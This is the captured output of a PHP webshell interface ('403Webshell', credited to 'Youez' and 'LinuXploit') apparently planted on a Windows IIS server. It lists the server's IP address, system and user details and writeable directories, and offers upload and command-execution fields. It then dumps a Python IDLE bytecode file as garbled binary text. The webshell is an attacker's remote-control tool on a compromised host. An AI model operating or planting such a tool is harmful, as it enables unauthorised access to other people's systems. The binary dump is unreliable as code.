403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/__pycache__/macosx.cpython-313.opt-1.pyc
�

��i`%���SrSSKJr SSKrSSKJr SSKrSqSrSr	Sr
SrS	rS
r
SrSrS
rSrSrSr\S:XaSSKJr \"SSS9 gg)z3
A number of functions that enhance IDLE on macOS.
�)�
expanduserN)�platformc�h�[S:Xa�SSKJn U(aSSKJnJn U"S5 [R"5nURRSS	5nS
U;aSqO/SU;aS
qO&SURRSSS5;aSqOSqUR5 gS
qg!Ua Sqgf=f)zlInitialize _tk_type for isXyzTk functions.

This function is only called once, when _tk_type is still None.
�darwinr)�testing)�requires�ResourceDenied�gui�cocoaN�tk�windowingsystem�x11�xquartz�aqua�other�AppKit�winfo�server�.�carbon)r�idlelib.__init__r�test.supportrr	�_tk_type�tkinter�Tkr�call�destroy)rrr	�root�wss     �#C:\Python313\\Lib\idlelib\macosx.py�
_init_tk_typer!s����8��
	-��=�
����
�z�z�|��
�W�W�\�\�$� 1�
2���B�;� �H�
�2�
��H�
������g�x��=�
=��H��H��������
��#"�
�"���
�s�B&�&B1�0B1c�^�[(d
[5 [S:H=(d	 [S:H$)zC
Returns True if IDLE is using a native OS X Tk (Cocoa or Carbon).
rr�rr!��r �isAquaTkr&3s#���8����w��6�(�h�"6�6r%c�>�[(d
[5 [S:H$)zV
Returns True if IDLE is using a Carbon Aqua Tk (instead of the
newer Cocoa Aqua Tk).
rr#r$r%r �
isCarbonTkr(;s��
�8����x��r%c�>�[(d
[5 [S:H$)z0
Returns True if IDLE is using a Cocoa Aqua Tk.
rr#r$r%r �	isCocoaTkr*Ds���8����w��r%c�>�[(d
[5 [S:H$)z/
Returns True if IDLE is using an OS X X11 Tk.
rr#r$r%r �	isXQuartzr,Ls���8����y� � r%c���[S:wag[S5n[US5n[R"U5sSSS5 $!,(df   g=f![
a gf=f)z%
Fetch the macOS system preferences.
rNz.~/Library/Preferences/.GlobalPreferences.plist�rb)rr�open�plistlib�load�OSError)�
plist_path�
plist_files  r �readSystemPreferencesr5UsT���8����L�M�J��
�*�d�
#�z��=�=��,�$�
#�
#������s-�A�A�	A�
A�A�A�
A"�!A"c�j�[S:wag[5nU(aURS5S:Xagg)zB
Warn if "Prefer tabs when opening documents" is set to "Always".
rN�AppleWindowTabbingMode�alwaysz�WARNING: The system preference "Prefer tabs when opening documents" is set to "Always". This will cause various problems with IDLE. For the best experience, change this setting when running IDLE (via System Preferences -> Dock).)rr5�get)�prefss r �preferTabsPreferenceWarningr;ds:���8���!�#�E�����3�4��@�
>�	
�r%c�6^�U4SjnURSU5 g)z�
This ensures that the application will respond to open AppleEvents, which
makes is feasible to use IDLE as the default application for python files.
c�:>�UHnTRU5 M g�N)r/)�args�fn�flists  �r �
doOpenFile�'addOpenEventSupport.<locals>.doOpenFile}s����B��J�J�r�N�r%z::tk::mac::OpenDocumentN)�
createcommand)rrArBs ` r �addOpenEventSupportrExs���
�	���0�*�=r%c�r�URRSS5 g![Ra gf=f)N�console�hide)rrr�TclError�rs r �
hideTkConsolerK�s1��
������Y��'�����
��
�s��6�6c��^^^�SSKJn SSKJn SSKJm UR
SSSnUR
SSSS2	UR
SSR
S	U5 UR
S
SSS2	UR
SSSS2	U"T5nTRUS9 U"US
SS9nURSUSS9 U4U4SjjnTRU5 S!U4SjjnS!UU4Sjjn	S!U4Sjjn
TRSU5 TRSU	5 TRSU	5 T(a8TRSTR5 TRSTR5 [5(a8U"USSS9nURSUS9 UR
R
SSSS/45 [5(a8TRSU5 TRS U
5 UR
S
SS	gg)"zZ
Replace the Tk root menu by something that is more appropriate for
IDLE with an Aqua Tk.
r)�Menu)�mainmenu)�window�������N�����)�menurO)�name�tearoff�Window)�labelrV�	underlinec�>�URS5nUcSnUS:�aURSU5 TRU5 g)N�endrTr)�index�delete�add_windows_to_menu)rVr]rOs  �r �postwindowsmenu�)overrideRootMenu.<locals>.postwindowsmenu�s>����j�j�����;��C���7��K�K��3���"�"�4�(r%c�4>�SSKJn URT5 g)zHandle Help 'About IDLE' event.r)�
help_aboutN)�idlelibrd�AboutDialog)�eventrdrs  �r �about_dialog�&overrideRootMenu.<locals>.about_dialog�s���	'����t�$r%c�X>�SSKJn TRTlUR	TS5 g)z&Handle Options 'Configure IDLE' event.r)�configdialog�SettingsN)rerk�inversedict�
instance_dict�ConfigDialog)rgrkrArs  ��r �
config_dialog�'overrideRootMenu.<locals>.config_dialog�s(���	)�#�.�.����!�!�$�
�3r%c�4>�SSKJn URT5 g)zHandle Help 'IDLE Help' event.r)�helpN)rers�
show_idlehelp)rgrsrs  �r �help_dialog�%overrideRootMenu.<locals>.help_dialog�s���	!����4� r%�<<about-idle>>z<<open-config-dialog>>z::tk::mac::ShowPreferencesz<<close-all-windows>>z::tk::mac::Quit�apple�IDLE)rZrV�application)z
About IDLErw�
tkAboutDialogz::tk::mac::ShowHelpr>)rrMrerNrO�menudefs�insert�	configure�add_cascade�register_callback�bindrD�close_all_callbackr(r*)rrArMrN�	closeItem�menubarrVrarhrprurOs``         @r �overrideRootMenur��s��� � ���!�!�!�$�Q�'��+�I�
	���!��Q����$����a����"�"�1�i�0�	���"��a� ��1��%�	���"��a� ��1��%��4�j�G��N�N��N� ���h��2�D����h�T�Q��?�!�)����_�-�%�
4�
4�!�	�I�I���-��I�I�&�
�6����3�]�C���	�	�)�5�+C�+C�D�
	
���,�e�.F�.F�G��|�|��G�'�1�5�����&�t��4���� � ��
�0���
�	�
�{�{����?�L�9����0�+�>����b�!�!�$�Q�'�
r%c�p�URSS5 URSS5 URSS5 g)z�Removed bad AquaTk Button-2 (right) and Paste bindings.

They prevent context menu access and seem to be gone in AquaTk8.6.
See issue #24801.
�Textz<B2>z<B2-Motion>z<<PasteSelection>>N)�unbind_classrJs r �fixb2contextr��s5��	���f�f�%����f�m�,����f�2�3r%c�|�[5(a-[U5 [X5 [X5 [	U5 gg)a�
Perform initial OS X customizations if needed.
Called from pyshell.main() after initial calls to Tk()

There are currently three major versions of Tk in use on OS X:
    1. Aqua Cocoa Tk (native default since OS X 10.6)
    2. Aqua Carbon Tk (original native, 32-bit only, deprecated)
    3. X11 (supported by some third-party distributors, deprecated)
There are various differences among the three that affect IDLE
behavior, primarily with menus, mouse key events, and accelerators.
Some one-time customizations are performed here.
Others are dynamically tested throughout idlelib by calls to the
isAquaTk(), isCarbonTk(), isCocoaTk(), isXQuartz() functions which
are initialized here as well.
N)r&rKr�rEr�)rrAs  r �setupAppr��s0�� �z�z��d����%��D�(��T��	r%�__main__)�mainzidlelib.idle_test.test_macosxrU)�	verbosity)�__doc__�os.pathrr0�sysrrrr!r&r(r*r,r5r;rErKr�r�r��__name__�unittestr�r$r%r �<module>r�s{���������!�F7� ��!���(>�
�d(�L4��.�z����	(�A�6�r%

Youez - 2016 - github.com/yon3zu
LinuXploit